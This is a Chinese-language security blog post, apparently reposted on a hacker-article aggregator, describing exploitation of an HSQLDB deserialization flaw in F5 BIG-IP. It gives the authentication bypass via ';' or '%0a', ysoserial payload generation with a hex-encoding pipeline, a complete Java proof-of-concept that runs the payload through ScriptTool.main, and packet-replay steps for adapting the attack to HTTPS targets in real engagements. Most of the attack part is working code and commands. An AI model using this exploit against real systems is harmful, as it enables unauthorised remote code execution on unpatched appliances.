记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

HSQLDB反序列化

2021-09-08 19:00


本文约2800字,阅读约需6分钟。


在某次项目碰到HSQLDB,第一时间想到使用网络公开的POC,但是利用失败——失败原因是因为F5使用了"https"导致HSQLDB连接失败。



这难道能难倒我吗?既然此路不通,那我就用本地复现抓取利用成功的包,进行"https"网站的复现。


话不多说,直接开工。


1

hsqldb反序列化


2020年07月08日,F5官方更新了“F5 BIG-IP”远程代码执行的风险通告,更新了“httpd”的补丁。


include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '


改为:


include ' <LocationMatch ";"> Redirect 404 / </LocationMatch> '


然而这样依然可以被绕过,使用“%0a”,也是因为tomcat的处理和apache的差异所导致的。


通过”;“或者“%0a”直接访问HSQLDB来绕过身份验证,从而通过org.hsqldb.util.ScriptTool.main反序列化了以ASCII十六进制字符串造成反序列化漏洞,不过该反序列化攻击需要HSQLDB没有设置密码。我们直接访问HSQLDB,显示默认页:



而利用”;“或者“%0a”,可以造成权限绕过。



使用网络公开的工具进行攻击会直接失败,而失败原因是因为F5使用了"https"导致。



2

本地复现


首先,需要下载好环境:


“https://github.com/longofo/hsqldb-source

https:/archive.apache.org/dist/tomcat/tomcat-7/v7.0.105/bin/apache-tomcat-7.0.105.zip”


然后使用idea,加载下载的HSQLDB:



Run之后会跳转浏览器:

http://localhost:8080/hsqldb_war/;



访问漏洞页面:



3

本地验证


生成payload:


“java -jar ysoserial.jar CommonsCollections6 "open -a calculator" > nc.class”


使用ysoserial生成POC,这里使用的payload是:


“CommonsCollections6
xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex”


生成十六进制编码的POC,
使用idea运行POC:


import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; import java.nio.file.Files; import java.nio.file.Paths; import java.io.IOException; import org.hsqldb.lib.StringConverter;  public class F5RCE {      public static void main(String[] args) {         Connection connection;         Statement statement;         String pfile = "";#payload的路径          String payload = null;         try {             payload = new String(Files.readAllBytes(Paths.get(pfile)));             payload = payload.replaceAll("(\\n|\\r)","");         } catch (IOException e) {             e.printStackTrace();         }          String dburl = "jdbc:hsqldb:http://localhost:8080";#目标地址          try {             Class.forName("org.hsqldb.jdbcDriver");             connection = DriverManager.getConnection(dburl, "sa","");             statement = connection.createStatement();             statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");             statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');");         } catch (java.sql.SQLException sqle) {             // ignore java.sql.SQLException: S1000             // General error java.lang.IllegalArgumentException: argument type mismatch             if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {                 System.out.println("Payload executed");             } else {                 System.out.println("Unexpected SQL error");                 sqle.printStackTrace();             }             return;         }         catch (ClassNotFoundException cne) {             System.err.println("Error loading db driver");             cne.printStackTrace();             return;         }     } }


主要修改两个地方,一个是payload的路径,一个是目标地址:



Run F5RCE:



打下dnslog:



4

实战


首先使用wireshark本地抓取数据包,有三个关键数据包:



这三个数据包分别对应以下三个过程:


第一个包进行认证(需要HSQLDB没有设置密码);


第二个包开启不安全的反序列化;


第三个包通过org.hsqldb.util.ScriptTool.main进行反序列化十六进制字符串。



接下来重放数据包:


1.认证获得sessionID,这里hex值是00 00 00 5f;



2.将第二个请求包的sessionID修改为第一步的sessionID,返回java.lang.Stringtrue证明命令执行成功;



3.第三个包直接复制粘贴新的payload,然后修改sessionID和数据包部分命令长度,就可以执行成功。


从call开始复制到最后,计算长度,并转换成十六进制,这里长度为2651,转换为十六进制就是0a5b。



计算长度:



然后修改数据包部分命令长度。在hex中找到6361,在6361前面就是长度,重放以后,可能还会报错,因为总长度的hex值没有修改,比如这里是2659,转换成十六进制是0a63:



dnslog收到请求:



5

结语


在实战中,主要在3个数据包中修改对应的hex值,某些不一致就会导致返回错误,对于工具验证不了的漏洞,可以进行手工验证。


整套过程走下来,感觉自己像是战争中的侦察兵。找到敌人是第一步,接下来我们更要分析敌人、消灭敌人。在守卫网络安全的道路上,我们始终在前进。


- END -


长按下方图片即可关注



知识来源: https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247492184&idx=1&sn=f015a09a732eb09625169a116c91d9b6

阅读:16657 | 评论:0 | 标签:SQL 序列化

想收藏或者和大家分享这篇好文章→复制链接地址

“HSQLDB反序列化”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持💖

标签云